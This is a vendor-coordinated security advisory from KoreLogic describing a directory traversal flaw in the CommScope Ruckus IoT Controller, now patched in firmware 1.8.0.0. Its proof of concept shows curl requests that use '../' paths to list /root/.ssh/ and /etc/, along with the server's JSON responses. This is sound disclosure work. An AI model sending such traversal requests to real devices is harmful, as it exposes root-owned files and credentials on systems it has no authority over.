CommScope Ruckus IoT Controller Web Application Directory Traversal
Affected Systems
Discovered By
Vulnerability Details
Vulnerability Description
A Python script (web.py) for a Dockerized webservice contains
a directory traversal vulnerability, which can be leveraged by
an authenticated attacker to view the contents of directories
on the IoT Controller.
Technical Description
The CommScope Ruckus IoT Controller features a directory
traversal vulnerability that allows an authenticated attacker
to explore the IoT Controller’s file system. The vulnerable
Python script is /VRIOT/ops/docker/webservice/web.py.
With the web application running as root, this allows for all directories to be explored.
An authentication token is required. But a token is easily obtained due to hard-coded, default, unchangeable web application credentials (CVE-2021-33219).
Mitigation and Remediation Recommendation
The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at:
https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf
Credit
This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc.
Proof of Concept
$ curl -k -H "Authorization: Token [valid token]" 'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../root/.ssh/'
{u'base_path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/',
u'message': u'List',
u'response': [{u'is_dir': False,
u'is_file': True,
u'is_symlink': False,
u'name': u'known_hosts',
u'path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/known_hosts',
u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../root/.ssh/known_hosts',
u'st_atime': 1582707570.3173862,
u'st_ctime': 1582707550.1438398,
u'st_dev': 2049,
u'st_gid': 0,
u'st_ino': 132199,
u'st_mode': 33188,
u'st_mtime': 1582707550.1438398,
u'st_nlink': 1,
u'st_size': 963,
u'st_uid': 0}],
u'static_path': u'/VRIOT/node-red/static'}
The above output is a pretty-printed version of the JSON response returned.
$ curl -k -H "Authorization: Token [valid token]" 'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../etc/'
{u'base_path': u'/VRIOT/node-red/static/../../../../../../../../etc/',
u'message': u'List',
u'response': [{u'is_dir': True,
u'is_file': False,
u'is_symlink': False,
u'name': u'python3',
u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/python3',
u'showpath': u'/../../../../../../../../etc/python3',
u'st_atime': 1610463245.7594006,
u'st_ctime': 1493664067.5699568,
u'st_dev': 2049,
u'st_gid': 0,
u'st_ino': 262743,
u'st_mode': 16877,
u'st_mtime': 1493664067.5699568,
u'st_nlink': 2,
u'st_size': 4096,
u'st_uid': 0},
{u'is_dir': True,
u'is_file': False,
u'is_symlink': False,
u'name': u'ldap',
u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/ldap',
u'showpath': u'/../../../../../../../../etc/ldap',
u'st_atime': 1610463245.7594006,
u'st_ctime': 1527803641.495955,
u'st_dev': 2049,
u'st_gid': 0,
u'st_ino': 304157,
u'st_mode': 16877,
u'st_mtime': 1527803641.495955,
u'st_nlink': 2,
u'st_size': 4096,
u'st_uid': 0},
{u'is_dir': False,
u'is_file': True,
u'is_symlink': False,
u'name': u'rsyslog.conf',
u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/rsyslog.conf',
u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../etc/rsyslog.conf',
u'st_atime': 1609718505.600734,
u'st_ctime': 1493664067.573957,
u'st_dev': 2049,
u'st_gid': 0,
u'st_ino': 262833,
u'st_mode': 33188,
u'st_mtime': 1453934568.0,
u'st_nlink': 1,
u'st_size': 1371,
u'st_uid': 0},
{u'is_dir': True,
u'is_file': False,
u'is_symlink': False,
u'name': u'pacemaker',
u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/pacemaker',
u'showpath': u'/../../../../../../../../etc/pacemaker',
u'st_atime': 1610463245.7674005,
u'st_ctime': 1550175549.2084513,
u'st_dev': 2049,
u'st_gid': 0,
u'st_ino': 267639,
u'st_mode': 16877,
u'st_mtime': 1550175549.2084513,
u'st_nlink': 2,
u'st_size': 4096,
u'st_uid': 0},
...
...
The above output is a pretty-printed version of the JSON response returned.
The contents of this advisory are copyright(c) 2021 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt
Disclosure Timeline
KoreLogic submits vulnerability details to CommScope.
CommScope acknowledges receipt and the intention to investigate.
CommScope notifies KoreLogic that this issue, along with several others reported by KoreLogic, will require more than the standard 45 business day remediation timeline.
KoreLogic agrees to extend disclosure embargo if necessary.
CommScope informs KoreLogic that remediation for this vulnerability will be available inside of the standard 45 business day timeline. Requests KoreLogic acquire CVE number for this vulnerability.
30 business days have elapsed since the vulnerability was reported to CommScope.
CommScope notifies KoreLogic that the patched version of the firmware will be available the week of 2021.05.24.
KoreLogic requests CVE from MITRE.
MITRE issues CVE-2021-33215.
CommScope releases firmware 1.8.0.0 and associated advisory.
KoreLogic public disclosure.
Responsible Disclosure
KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.